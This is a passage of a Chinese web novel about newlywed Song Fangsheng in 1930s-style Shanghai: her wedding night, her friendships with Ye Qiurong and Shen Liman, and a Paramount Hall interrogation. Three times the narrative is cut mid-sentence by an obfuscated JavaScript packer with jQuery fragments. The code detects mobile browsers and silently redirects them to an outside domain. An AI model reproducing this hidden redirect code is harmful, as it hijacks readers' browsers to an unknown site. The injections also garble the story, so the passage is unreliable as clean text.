宋芳笙招手让几个丫头都退下去,起身把自己手上翠玉戒指摘下来,递到叶秋容面前,“多谢你。”
“用不着,我原不稀罕你的戒指。就当是谢谢你替我解围,让那个姓许的阴损婆娘没脸。”
她倒是直接。宋芳笙对她的好感又添几分,拉开凳子让她坐下喝茶。
“她一向如此,你也不回嘴?”
叶秋容喝一口茶水,眉眼间伶俐机敏,“怎么不回,往日我都叉着腰和她对骂。脂粉灌脑的富家小姐,张嘴骂起人来一点也不斯文,不过我也不是省油的灯。”
“那你今天怎么……”
“谁叫臭老头和他妈都在场呢?段家的面子要紧,我知道识大体。”
宋芳笙和沈丽曼对视一眼,反应过来她口中“臭老头”说的是她先生段澄恩。
上海多少富家千金的梦中情郎,到她口中成了“臭老头”。宋芳笙想起段澄恩白面书生的斯文模样,看着年岁与顾均胜差不了多少,完全不像三十出头之人。
喝完茶水,叶秋容从手包里拿出口红和镜子补妆,问有没有酒喝,“臭老头怕我醉酒生事,不让我在外头多喝。可今日这种名利场实在不适合我,不多喝点酒,我待不住。”
宋芳笙转身就要招服务生拿酒来,被沈丽曼制止,“少喝些,你晚上还有得忙呢。”
忙什么,洞房?
顾均胜那张守礼君子一样的脸从她脑海一闪而过,加上方才敬酒,她挽着他手臂,胳膊上的肉又硬又紧。一想到晚上两人要回一间屋子,睡同一张床,少不得肌肤相亲、耳畔呢喃,脸倏忽间胀红起来。
她羞答答的模样逗笑身边两个人。叶秋容虽年幼,此刻却是摆出一副过来人姿态,语重心长道,“是这个理,我结婚时候,就喝了不少的酒。第二日头疼脑胀,死在床上爬不起来,将第二日问候公婆之礼耽误,被那几个恶婆娘诟病了不少日子,但凡逮着我一点错处就拿此事嚼舌根,可见你还是少喝点的好……不过顾少爷似乎没有和陆夫人住在一起,你原没有这个烦恼。”
嫁过来之前宋母就说了,顾均胜早两年当上警署署长的时候就在愚园路买了宅子出来住,与不少军政要员和资本家为邻,背后估计还有更深的利益关系。
男人的事她不想掺合也不愿掺合,只庆幸那里还算安静,她可以安下心看书、写点自己喜欢的东西。
宋芳笙低着头,思绪乱飞,叶秋容则不停瞟着沈丽曼和她的孩子,知道这是个厉害人物,“姐姐怎么称呼?叫我秋容就好。”
“沈丽曼。”
“丽曼姐,你这身旗袍真好看,哪家裁缝店定制的,哪家布桩拿的面料?赶明儿我也制一身。”
果然是个见人说人话、将鬼说鬼话的小妖精,两句话没说上,先叫起“姐”来了,可偏偏就让人讨厌不起来。
沈丽曼低头浅笑,把衣裳来历告诉她,“缕花纱的料子不易得,上海卖的大多都是仿的,真货你让段三少爷找人去杭州买。”
“我知道了,丽曼姐你真好。我哄臭老头去杭州办事的时候帮我买。”
话音刚落,身后传来皮鞋踩踏石阶的声音。
三人转头看到段澄恩出现在花园入口,叶秋容立刻换上娇俏小女儿模样,走路带风,一路小跑至男人身侧,挽起他的胳膊,下巴搁肩头,又说起悄悄话来。
段澄恩这样的老狐狸尚且眉开眼笑,换成年轻点的男子,只怕早就跪倒在美人石榴裙下,任叶秋容磨搓、使唤。两人朝宋芳笙和沈丽曼略点头示意,亲亲热热地转身走了。
沈丽曼牵起儿子也同宋芳笙告辞,“曜辉这几日有些咳嗽,喝药不能耽误,我带他先回。顾少奶奶替我回宋夫人和陆夫人一声,今儿就先不待了,改日再聚。”
宋芳笙实在喜欢沈丽曼,跟着起身追上去,要她改口,“芳笙,吴太太叫我芳笙就好了。”
沈丽曼年长几岁,瞧宋芳笙像妹妹,瞧叶秋容也像妹妹,满心欢喜地点头,“也和叶秋容一样,唤我丽曼姐吧,今日没说成的话,改日再说,来日方长。”
“是,来日方长。”
她跟着了魔似的,重复着沈丽曼的话。
晚上跳舞,叶秋容和沈丽曼不在,她踩着顾均胜的舞步慢悠悠地转,觉得没意思,偏还要装出高兴得不了的模样,事后愈发觉得疲累。
等一切结束回到顾宅,她连四处看看的心情也没有,由小春领着直接上到二楼,想回房歇息。房间里极绿的护墙板下是真皮沙发床,又大又宽敞,乳白色床褥上面铺着钩花的绒毯。
顾均胜待会儿洗完澡也要躺上来吗?想起这个她浑身没来由地一阵颤栗,问了书房的位置,赶紧又退出去,撞在紧随其后的顾均胜胸膛上。
“我、我习惯晚上看会子书再说,你先去洗吧。”她没出息地逃跑了。
顾均胜的书房紧挨着主卧房,进门两侧书架上琳琅满目,仔细看来多翻译文学和通俗读物,最下头一层放满报纸和杂志,里头似乎还夹杂着日记和不知道作何用处的册子。
她假意取下一本高尔基的书来读,见顾均胜只身回卧房洗澡去,略微放下心来,听着隔壁房间的动静,不知不觉趴在书桌上睡着了。
小春叫醒她时,她身上盖了一条绒毯,可不就是方才在卧房里见到的那条?她知道是顾均胜给她盖的,摘下来挽在胳膊上,走进婚房瞧他。
许是睡的时间不长,拢共二三十分钟。男人刚好洗完澡从浴室走出来,热气熏蒸之下,他只在下身围了一条纯白色浴巾,光着身子、赤着脚。
宋芳笙愣在原地,瞳孔微张,显出一丝慌乱。
“啊!你怎么不知道穿衣服?”
男人斜她一眼,“自然是没想到你会进来。”
“你的意思,是我私闯你的房间打扰到你了?”透过手指缝隙,她从梳妆台镜子里看到顾均胜身上布满大大小小的伤:有横向一条的,像是刀伤;有皱在一起磕磕巴巴的,像是缝合过的不知道什么伤;还有整体圆形,皮肉向四周扩开的小伤疤,长在男人肩胛靠近锁骨的位置,让她不禁怀疑,那是一道已经愈合的枪伤。
镜子里,男人换上睡袍、睡裤后上前两步,将她遮住双眼的手拿下来,“你害怕我?”
她摇头。
“那你是害怕我身上这些伤?”
他很敏锐。宋芳笙盯着他的眼睛,想了想决定点头。
顾均胜笑了,她看出这笑里带着些许轻蔑,“放心吧,我短期内没打算以身殉职,不会让你做寡妇的。”
说罢他把浴巾扔回浴室洗漱台边的衣篓里,走到阳台一盘国际象棋桌前坐下,自己和自己对弈。
没趣。她翻着白眼在浴室洗完澡,出来正坐在梳妆台前梳头,忽的听见门口有人说话。
“听见动静了吗?”
“嘘,你小声些,再让少爷和少奶奶听见。”
“没动静要如何交代?”
她侧过脸去看顾均胜,男人的目光也正看着门口。
“下人里头还有妈妈的眼线?”
顾均胜面露不悦,“园丁海叔和杨家夫妻是上一户人家留下的老佣人,离家时我从家里带了赵妈和丫头小棠两个出来,你我定亲之时,我又新雇了两个,一个司机、一个做西洋菜的厨子,明儿再带你一一认识。”
这样看来定是家里带出来那一老一少,听顾家老太太的话,专候在门口听声。
闻室内静悄悄的,外头人还在说话,“你可瞧仔细了?”
“瞧得真真的,少爷先进去,少奶奶后脚也跟进去了。花园、书房又没人,他们指定在一起。”
“浴室里玫瑰花的香粉可都放进去了?”
“嗯,按赵妈的话,三凤粉庄美丽香粉、大华广州分厂雪花膏、双联玫瑰香水,一样不差。”
门口没声音了。
“咳咳。”宋芳笙咳嗽两声,顾均胜只当没听见,“你……你……”
她也不知道该说什么,只是觉得沉默太窝囊。自己嫁过来的时候就带了一个丫头小春,仆人面前还需立威,她干脆起身往门口走,“我让他们走开。”
“等一下,”男人迈过一步
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016197|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挡住她,发现宋芳笙不穿高跟鞋,个头只到他鼻尖的位置,鹅蛋脸不过他手掌大小,乌黑长发遮住肩膀,只露出胸口一点透白,“你想好了?”
她点头,“白天演了整整一日,我累了。何况都是佣人,不曾出去嚼舌根,让顾少爷丢了脸面。”说罢她侧身走过,冲外面喊,“你们……唔……”
顾均胜捂着她的的嘴把人往后带,宋芳笙整个人往后仰倒,摔在床上,“做什么?”
她显然惊着,仰面瞪他,圆鼓鼓的腮帮子透着白,一副充满戒备心模样。因着不曾挽面的缘故,脸上细小绒毛在灯光下暖融融、粉扑扑的,下巴又尖又小。
顾均胜欺身上来,眼底却干净得很,“今日若是没能让两边父母如意,后头还有多少麻烦要解决、多少话要唠叨,你想过吗?”说罢眼神下移,懒懒地打量着她。
要是让老爷太太们知道他们今晚没圆房,别的不说,宋母第一个就要拿住她,不知道在她耳边唠叨多少遍。再者,让她这样去面对顾均胜的母亲,她也有些作难。
难不成今晚上,这房非圆不可?
宋芳笙明白过来,脸上蒸腾火烧一样,下意识往旁边躲。侧脸过去,嘴唇差点碰到男人手腕;弓起双腿,又立刻撞到顾均胜硬邦邦的腹肌上。她又羞又热,不敢抬头瞧他,熟透的虾仁一样在他身下缩成一团求饶。
“我知道了,你快些起开。”
女人喷出的热气洒在顾均胜手腕上,两人的衣服缠在一起,交换彼此身上的香气。他忽然来了兴致,俯身靠得更近,贴着身下人耳畔有心捉弄她道,“嘘,他们在看。”
她余光扫过,可不正好瞧见房间门被打开一缝,想也知道是仆人们干的。
太近了,他贴得太近,把空气都夺走了。
她自觉无法呼吸,声声微微喘着,憋红了眼睛,只能双手抓着他的肩膀,祈祷这些人看够了赶紧走开。
“还要多久呀?”他身上刚沐浴过的味道,玫瑰香水、雪花膏,他是不是都擦了?不然何以如此甜、腻,熏得她脑子昏昏沉沉。
他也闻到她身上独特的味道。不是任何一种香水、香粉,像他小时候早餐吃苹果和牛奶时候的味道,在空气混合成一种蓬松的棉花糖。他还没有闻够,双手撑在床上轻声。
“一会儿……”
“哎呀我不乐意了……”
“别动。”
她非要动,弓起双腿打算把人踢开。顾均胜趁势捉住她的脚腕,把人又拖回面前,发出令人面红耳赤的声响来。两人在床上打架的间隙,宋芳笙瞧了一眼门口,惊叫出声。这下门口的人满意了,两三个黑压压的头顶躲闪不及,一边逃跑一边不忘关门,发出阵阵碎响,只是不问人言。透过门缝,她看见门外黑影一个个都走了。
“走了走了,都走掉了,你快放开我。”她越羞赧,顾均胜越觉得有趣。她越挣扎,那只大手抓得越紧。
拉扯之中顾均胜忽地定住不动了,宋芳笙随他眼神下落,发现他正看着自己发红的脚后跟。她急忙缩回裙摆里,侧过脸去不看他。
不同于耳垂浮起的嫣红活色生香,细皮嫩肉的富家小姐,结婚也受罪,穿着累人的鞋子供人观赏。虽然他的妻子的确很好看。
宋芳笙心里着急:说点什么,让他走?可这是他们共同的房间。
要她去书房睡?痴人说梦。
面前人默不作声,她忍不住拿余光偷看他,发现他睡袍领口半敞,锁骨和胸膛上的疤痕又露出来。
蜿蜒的,凹凸不平,和他的脸完全不匹配。她像着了魔似的,朝着他胸口那条疤探出手去,指尖触碰到他的一瞬间,身上重量陡然消失。顾均胜起身拢了拢衣领,遮住她刚才碰到的地方,转身在衣柜里拿了一条毯子、一只枕头,开门离开。
“你要去哪儿?不是说不能让他们知道……知道我们……”
“我明日一早有事要早起,现在还有几份文件要看。怎么,嫌温存时间太短?”
这话明显带着打趣,他刚转过身,枕头、枕边的书就朝他的背砸了过来,宋芳笙气鼓鼓道,“是啊,我的新婚丈夫用不了这么长时间,倒劳烦他们久等。哼。”
顾均胜站在明亮的楼道里,就看见女人光着脚丫子爬下床冲过来,砰地一声,门重重地关上了。
5. 识字
黑色小汽车在光华书局门口停下,宋芳笙带着丫头小春走进来,在书架前发现一个熟悉的身影。
叶秋容一身象牙黄的花洋纱绸衫,染着豆蔻的手指头扒在架子上,漫无目的地找着什么。
自上次婚礼一别已有半月,再见叶秋容,宋芳笙心里仍感叹她生得娇媚,花花牙子里一朵娇嫩的月季,只晃一晃脑袋,满园生春。
“有了。”叶秋容面露喜色,从架子取下一本黑色封皮的《三字经》下来,放在手上胡乱翻看,“旁的字我不认识,‘三’字我还是认识的,这本可是不是了?”
一旁丫头四妞点头不迭。
“那你赶紧帮我找找,《百家姓》、《千字文》在哪。”
“你看这些小孩子看的书干什么?”宋芳笙走到她身边,抬头同她一起看向书架琳琅满目的书册。
“是你?”不问倒好,一说起这个,叶秋容的嘴又撅得老高,“还不是段家那群恶婆娘。上次在上海大饭店,臭老头因着二少奶奶当众让我出丑之事,拿了二少爷的错处,算是帮我出气。这两个人表面上不敢同臭老头顶撞,私下里又拿我不识字来拿捏我。吵嚷着说,因为我不识字,所以就不知礼,不知礼,所以不懂规矩,要在我面前立规矩。哼,识字有何难,只要我想学,英文法文都是学得的。”
她明明记得,许小月出言暗讽叶秋容的时候,段澄恩并不在场,没成想还有秋后算账的好戏。
“三少爷替你出气了?可不知使的什么手段,也说出来与我听听。”
宋芳笙一面陪叶秋容找书,一面看她得意洋洋地同自己讲婚礼当晚,段家的事。
原来那日叶秋容跟着自家先生离开上海大饭店,逮住两人独处的机会,将许小月当众给她难堪之事添油加醋说了,期间连连落泪,哭得梨花带雨,生怕段澄恩不心疼她,扑在男人大腿上闹。
段澄恩表面上默不作声,轻声细语哄了一路,只叫她晚上好生歇息,别耽误第二天同姊妹约好去看戏。
叶秋容从来不把段家人闲言碎语放心里,睡醒也就忘在脑后。谁知到下午六点,段澄恩如约来黄河大剧院接她,回家刚跨进家门,二少爷段澄远迎面走上来,手里的烟都没来得及掐灭。
“三弟,今儿我手底下好几家商铺的人都找过来,说是上头突然带了人来,要把我那几家铺子的老板都换了,不利索的伙计也通通撵走,结了工钱一并打发,是你吩咐的?”
段澄恩斜他一眼,略侧过身,搂着叶秋容的腰进到屋内坐下。
“福建中路上七家铺子去年亏损严重,全靠其他铺子的盈余支撑才不至于倒闭。二哥手下那些老伙计堕怠、懒散,平日里吃酒、打牌、吃回扣,没一个经得起查。二哥看得下去,那是二哥大度,姑息这些个老人。我却不行。段家的钱便是要养人,也该养些乖巧、勤快的本分之人,否则,这几家铺子连年亏损,我看也大可不用继续开了。”
段家包括段夫人在内,谁不知段澄远靠福建中路那几家铺子捞油水。奈何她也知道,自己几个儿子里头,独三儿子还守得住家业,在替段家挣钱,所以散坐席间,瞪着段澄远一个字不敢多说。
段澄远被堵得一个字说不出来,想起段澄恩好歹给他了几分薄面,没有将四马路的商铺一并端掉,气鼓鼓坐下,猛吸几口香烟,想了想还是咽不下这口气。
“手下人不得力,三弟你尽可说来与我,我自然知道整治。你如此雷霆手段,实在叫我没脸。”
“亏损与否,去年年末二哥便早已心知肚明。你狠不下这个心,我也不能看着你拿祖上的产业当儿戏。”
男人一双狐狸眼有意无意扫过在坐许小月一眼,语气里带着笑,“至于自家人该不该同自家人要脸,家里人应不应该让家里人没脸,二嫂嫂比我更清楚些。”
众人听出话中原委,目光齐齐落在许小月身上。段澄恩牵起叶秋容往自己屋子走的间隙,听见身后,段澄远质问许小月,“你做什么又去招惹弟妹了?”
而后争吵、劝解和哭闹的声音都渐渐大起来。
叶秋容说这些时,脸上自是满意,夸赞道,“臭老头也就这点子好处,要不然,我非要再闹上几日不可。”
与她相比,宋芳笙觉得自己简直好脾性。两人正说着,宋芳笙瞧见又有人走进来,仔细一看是那日跟在沈丽曼身边带孩子的杨妈,在找书局伙计打听《三字经》和《千字文》。
“巧了不是,又来一个学字的。”宋芳笙打趣一句,开口把杨妈唤过来。
“顾少奶奶、段三少奶奶。”
“你买这些书做什么,可是丽曼姐叫你来的?”
“小少爷上学堂,要上识字课,所以夫人让我来。”
“这个简单。”宋芳笙一把拿过叶秋容手上三本书递了过去,杨妈便千恩万谢地走了。
“拿我找来的书做人情,那我怎么办?”
“说你聪敏,你也有笨的时候。”宋芳笙伶俐笑道,“既说段家人笑话你,你还带着这些小孩子识字的书回去,岂不更招他们耻笑?这些书我家里齐全得很,不如你到我家去学,就说是吃茶,传出去也没人笑话你,如何?”
叶秋容定定地瞧上宋芳笙一阵,忽的一把挽住她胳膊,整个人凑了上去,猫儿似的眼睛扑闪扑闪道,“芳笙姐,你人真好。”
宋芳笙和小春忍不住笑。
到顾宅,叶秋容一面往里走,一面不住地打量宋芳笙和顾均胜的婚房。英国乡村别墅的建筑风格,浅黄色围墙经了风霜,看上去建了十年有余。暗红色木质大门上方挂满地锦,右侧“顾宅”二字门牌下头是报纸、信件的方形收件口。
两人在书房取了书,下楼到花园里喝下午茶。叶秋容自顾自翻看,遇到不认识的字问上一嘴,宋芳笙就在一旁看收到的信函。
早前注意到自己换了戒指那件事,叶秋容说她记性好,宋芳笙尚且一听,不以为然。没想到她刚读完两封信件,叶秋容就说自己已经看完整本《千字文》,合上书把所有不认识的字通通写一遍,递到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016198|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宋芳笙面前,问她怎么念。
“五分钟的时间,你都背下来了?”
这也叫不识字?
“算不上背吧,”叶秋容指着其中一个“筵”字,笑得明媚,“我打小记性就好,这个字我念不出来,但能记得它长什么模样。”
粗略一看,纸上共五十四字,核对一遍,每个字的确都是千字文上所写。宋芳笙看看她又看看书,明白过来她所说的“记性好”是何意思。
正巧园丁海叔正带着佣人洒扫一楼客厅,十二盏颜色各异的玻璃吊灯一一拆下放在地上,待清洗干净之后再装回去。三个人正在为灯盏排列的顺序争吵。
“圆形水晶和水滴形带吊坠是一起的,那嵌彩色玻璃片和白色灯罩子又是一起的,准没错。”
“胡说,我明明记得白色灯罩是从最外头廊檐取下来的。”
叶秋容听见声音,看宋芳笙一眼,颇有些“看我的”意思,起身走到廊檐下,指挥着佣人把灯一盏不错地装了回去。
佣人赵妈姗姗来迟,抬头不住地瞧,嘴里夸赞连连,“对对对,就这样的。三少奶奶真厉害。”
“何止厉害,简直就是过目不忘。”
叶秋容把书放回书房,从架子上另取下一本册子来随意翻看,问道,“芳笙姐,你念华南大学毕业的吗?”
“不是啊,”她凑过去看,册子封面写着“华南大学校友录”,“许是顾均胜的吧。我念的是中西女塾,毕业后又在金陵女子文理学院念了两年。”
“真好。”叶秋容拿着册子坐下,眼里是藏不住的羡慕,“我没念过书,不知道和好多好多同龄的女孩子一起学习是何等美好的事。”
“家中父母没有送你去书塾吗?”问完她立刻记起小春的话,想起叶秋容是仙乐斯歌女和乐手的女儿,后悔问了这句。
看出她面露窘色,叶秋容毫不在意地耸肩摇了摇头,“没有。他们没有钱,也没有受过教育,彼此之间也没有感情。所以他们愿意生下我、养我长大,我已经很感激了。”
她将册子搁在沙发上,起身走到宋芳笙面前继续道,“你不用觉得难为情,我一点也没伤心。我喜欢你。你会夸我、会帮我,会邀请我到你家来做客,不像那些富家小姐、太太们眼高于顶,从来都拿鼻孔瞧我,背地里还一个劲拿我的身世取笑。你最好了。”
温热香软的身子贴上来,宋芳笙快要被眼前的小狐狸哄成了皇帝,沉溺在她甜言蜜语的温柔乡里,“荒废朝政”。
不过这话勾起她心中愧疚,想了想推开叶秋容说道,“我并不如你想得这般好。那天在阳台上,我也说你坏话来着。”
“说我什么?”
“说你攀附男子,以、以色侍人。”
被俘获心灵的纣王不敢看小狐狸的眼睛。
叶秋容先是一愣,竟低头呵呵呵直笑起来。宋芳笙以为她笑自己话头恶毒、小家子气,不想她笑完仍挽着自己的胳膊,眼中娇俏不改。
“姐姐没说错啊。”
6. 百乐门
“姐姐没说错哦。”
叶秋容娇滴滴地松开她,自顾自说道,“我当初如何嫁进段家,姐姐想必也有耳闻。我是贪图段澄恩的钱没错。你想啊,他都这么大了,等我年满三十,风华正茂的时候,他半截身子都要入了土。我不图他的钱,图什么呢?我自小长在舞厅里,听的是少爷们哄美人的调蜜情话,看的是男人们搂着女人的腰跳华尔兹。他们若是没钱,哪里能过得如此滋润?再者,我爸妈老了,嗓子也不甜了,吹萨克斯也吹不响了。我若是能挣个仨瓜俩枣,拿回去给他们颐养天年多好。所以我对钱财的喜爱,从不藏着掖着。外人爱如何说紧着他们说去,我只过我的生活。再说,有句话如何说来着——”
她顿了顿声,声音藏着笑。
“——苍蝇不叮无缝的蛋,要怪只能怪臭老头贪图我的美色。”
宋芳笙被她逗笑,也干脆直接问起,那晚怎么回事。
“我头一回登台,正巧他那晚宴客包了场,说是多给我一千银元,陪他们到散场再走。说来也怪,既不让我唱歌,也不让我同旁人喝酒,就在他身边坐着,时不时他还切一块奶油蛋糕给我吃。后来他喝多了,叫身边小厮往楼上送。小厮把他摘下来的手表交给我,说上头沾了奶油,让我略清理一下再送去。我去到他房间,放下手表想走,但想着钱还没拿到,就转身去找他要。他哪儿还听得清我说什么,我就去扒拉他的钱包。”
“正数钱呢,他醒了,抓住我说,要我陪他继续喝,喝完把手表也给我,我心想那没问题啊,我就陪他喝……”
宋芳笙实在听不下去了,连连笑着打趣她,“你真是,说你什么好呢……然后呢,就这么稀里糊涂和他过了一夜?”
“嗯,”叶秋容乖乖点头,随即又补充道,“当真只是睡了一晚上。我把他的衣服脱了,穿在我身上。后来他找到我,说我和他的事情被人登了报纸,于情于理要给我一个名份,问我愿不愿意嫁给他。他哪里知道,登报的内容全是我主动告诉报社的,还专门强调这是我头一次登台,若是成了弃妇,以后也没机会再登台了,可不就是逼他上梁山?”
段澄恩可不像是愿意被人按脑袋强点头的那种人,宋芳笙闻出里头三分阴谋的气味。追问道,“他没怪你,就这么答应娶你了?”
“嗯。从那晚认识到订婚,一个月光景。期间我怕他生疑,还专门找机会勾引他来着,谁知道他没喝酒的时候是个君子,怎么都骗不到床上去,非要等到结婚那晚……”
“瞧瞧,到底是结了婚的人,说起话来忒放得开些。”
一个柔亮婉转的声音自书房门口传来,二人转头看去,沈丽曼一身藏蓝牡丹旗袍,外罩流苏披肩,双手抱胸站在门口,眼中满是促狭。
“丽曼姐,何时来的?”宋芳笙拉她进来。
“来了有一阵了,听你们在里头说悄悄话,怕我进来你们就止住,所以在门外偷听呢。”
叶秋容拉住她另一只手,笑容愈发明媚道,“怎么我来,你也来了?是追着我们来的吗?”
“自然是来道谢。”沈丽曼环视整间书房,知宋芳笙是个喜爱念书的女孩,心里高兴,“杨妈去买书,回来说遇见你俩的事。我带着耀晖看了看觉得甚好,决定登门道谢。没想到听了秋容妹妹的香艳情史……哈哈哈哈……”
三个姑娘又牵又挽地回到花园,叫小棠又倒一杯咖啡来。
宋芳笙心里有三分明白,猜测段澄恩才是那只吃人不吐骨头的老狐狸,笑着问她:“所以你以为,你能嫁进段家是为什么?”
“我有手段呗。捡了手表不眼红,谁成想最后,连人带手表一起归我了。”小狐狸脖子上戴着珍珠项链,说起话来不脸红、心不跳。
傻姑娘。
沈丽曼端着咖啡同宋芳笙对视一眼,只是笑。
“姐姐……”
“嗯。”沈丽曼和宋芳笙同时应道。末了三人面面相觑,又笑出声来。
沈丽曼放下咖啡杯继续逗她,“了不得、了不得。三少奶奶好大的福气,一下子得了两个姐姐。以后再叫姐姐,叫我们哪一个答应才好啊?”
到底只有十九岁,叶秋容被沈丽曼问得面颊赤红,拉着她求饶。宋芳笙心中喜悦,嫁人这些时日以来,头一回觉得家里有了生气,心下感动道,“我生日在二月份,只比秋容大八个月。不若你就和我互相称呼名字,只认丽曼一个姐姐如何?”
“求之不得!我要告诉所有人,顾少奶奶和沈太太如今都是我的朋友了!看段家那群婆娘气不气、恼不恼。”
她喝一口咖啡,甜滋滋的模样比园里花儿更艳、更娇,“你家的咖啡比外头西餐厅卖的还好喝,以后我们经常一起喝咖啡好不好?”
三人在园子里待到黄昏。听前院传来开门和汽车驶入的声音,段澄恩跟在下人身后走进来。
“先生怎么知道我在这里?”
斯文男人向宋芳笙略顿首致意,将迎面跑过来的小妻子抱在怀里,“秋容不常出来与人喝茶,没有给你们添麻烦吧?”
“我乖得很,何曾给人添过麻烦。先生你还没回答我,你如何知道我在这里的?”
段澄恩也不回答,捏捏她的鼻子就要告辞。沈丽曼站在一旁沉默不语,待宋芳笙送完人回来,她才开口道,“这位三少爷,心思颇深啊。”
“姐姐是说,他故意引秋容上钩,顺水推舟娶了她的事?”
“不仅仅是这个。”沈丽曼沉下脸色道,“照刚才所说,你们两个在书店相遇纯属巧合,你邀请她到府上一叙也是一时兴起。段澄恩能知道秋容在这里,定是在她身边安插了眼线,时刻盯着她的一举一动。”
宋芳笙一时间没想这么远,“会不会是我们在花园谈天之时,她身边丫头借我房中电话告诉三少爷的?”
“就算是,如若没有段澄恩示意,丫头要向少爷报告少奶奶行踪,怎会不先来向秋容请示,擅作主张?”
若沈丽曼所言非虚,这段澄恩的掌控欲未免太强些。宋芳笙心中暗自乍舌。
说完话,沈丽曼起身整理衣服,准备离开,“时间也不早了,我也走了。”
“就在一起用个晚饭如何?我让厨子多做几个菜。”宋芳笙招来小春,一面让通知厨子有客来,一面让给警署去个电话,问问顾均胜何时回。
没一会儿小春登登登跑回来,小心翼翼地说顾均胜不回来,“少爷说晚上还要去淮海路那边公办,叫不用等他吃饭。”
同样的情景几乎天天都在上演。自结婚第二日起,顾均胜还算迁就她,自动搬到书房去睡。除开两人每日用餐,几乎没有交集。
许是他没结婚的时候也这样不着家,家里佣人习以为常,只当是宋芳笙这个太太没有手段,留不住他长待。她不解释,乐得清闲自在。
女人低头的表情落在沈丽曼眼里成了失落,她一手拿起皮包,一手牵住宋芳笙的手往外走。
“做什么?”
“既乐得单身一人,跟我去百乐门跳舞吧。”
-
宋芳笙去过不少戏院、舞厅,其中百乐门的玻璃舞池让她印象深刻。霓虹灯光从下层往上照,透射形成梦幻迷离的悬浮光影,置身其中,只觉得天旋地转,如临仙境。徐志摩诗作《上海》写道,“玻璃鞋踏碎月光”,百乐门的霓虹幻影,可见一斑。
她最爱站在旋转楼梯中间,端着酒杯往下看,看舞池里食色男女们贴身纵情、耳鬓厮磨。
进到三楼包厢,耳边管弦之声略减。宋芳笙不知道他们为什么不在楼下跳舞,而是上楼坐着。
“听宋太太说,你喜欢看侦探小说?”沈丽曼靠在门边抽完最后一口烟,看宋芳笙点头,走进来坐到她旁边。
“那待会儿你看仔细些,告诉我,谁在说谎。”
包厢门再次打开,一个个身穿白色衬衣搭配黑色西装背心的服务生鱼贯而入,在宋芳笙和沈丽曼面前一字排开。
百乐门经理林庆良点头哈腰走进来,朝沈丽曼介绍道,“那晚在这个包厢伺候过的伙计都在这里了。”
那晚,哪晚?
“我先生出事那晚。”
沈丽曼贴在宋芳笙耳边悄声说完,转过头来看向五个服务生,“我先生,也就是上一任虹口帮家主吴阳浦,在这个包厢喝酒那晚,你们都在吗?”
年青的男人们点头。听到这个名字,五人表情各异,不约而同变得紧张起来。
“那好,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016199|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我问问题,你们必须同时回答,若是谁答慢了,或者和其他人不一样,可要仔细了。”
五人之中有吞咽口水的声音。
“我先生那晚宴请宾客,喝的是什么酒?”
“洋酒!!”五个人异口同声。
“什么洋酒?”
“威士忌!”
“芝华士!”说不一样答案的服务生赶紧解释道,“芝华士就是威士忌,我、我没说错……”
沈丽曼看他一眼,继续朝众人发问。
“我先生身边有无女伴?”
“没有!!”
“席间他是否抽烟?”
其中两人赶紧回答:“抽了!”
另外三人支支吾吾,解释说自己并非时时都在房中,并未瞧见吴阳浦是否抽烟。
“很好,我先生的死,跟你们脱不了干系,把这三个人给我带下去。”
“啊?”三个服务生慌乱起来,“我们什么都没做、什么都没做啊……”
虹口帮的人进来把人拖出去,惨叫声与挣扎声回荡在三楼走廊,包厢内剩余两人露出一副劫后余生的表情。
可惜女人只是笑笑,宣布游戏继续。
“当天包厢里除我先生以外,还有几个人?”
“四个!!”
“我先生身边那个人抽的是雪茄还是烟斗?”
“雪茄!!”
“我先生身上带枪了吗?”
“这……这……”
左边头发梳成三七分的服务生支支吾吾,右边的寸头立刻答道,“没有!”
“他手腕上戴手表了吗?”
“也没有!”这时候只剩下寸头还在答话,另一个服务生早已吓得双腿发抖。
“很好。”沈丽曼不打算再问,坐下给自己和宋芳笙倒了一杯酒。
“把旁边那个带下去。”
“沈太太,我什么也没干、我什么也没干啊!”
顷刻间,包厢内只剩他们沈丽曼、宋芳笙、寸头,和沈丽曼身后站成一排的虹口帮打手,粗略算下来有二十几个,将不大的包厢挤得满满当当。
女人摇晃杯中洋酒,神色懒散道,“你知道,我为什么要单独留下你一个人吗?”
寸头明显咽了咽口水,弯腰讨好道,“是、是我洗清嫌疑,沈太太要放我出去了吗?”
昏暗的包厢中,五彩灯光星星点打在女人美艳的脸上,表情似笑非笑。她起身走到寸头身边,从上到下细细地打量他。
“五个服务生里,属你看的最仔细。可说来也奇怪,大家进进出出,左不过都把我先生当作尊贵的客人,只做好服务,不敢多看客人一眼。你倒好,将我先生身上有无配枪、有无手表都看得如此清楚。可见你对他,当真是十分关注。”
宋芳笙终于听懂了。
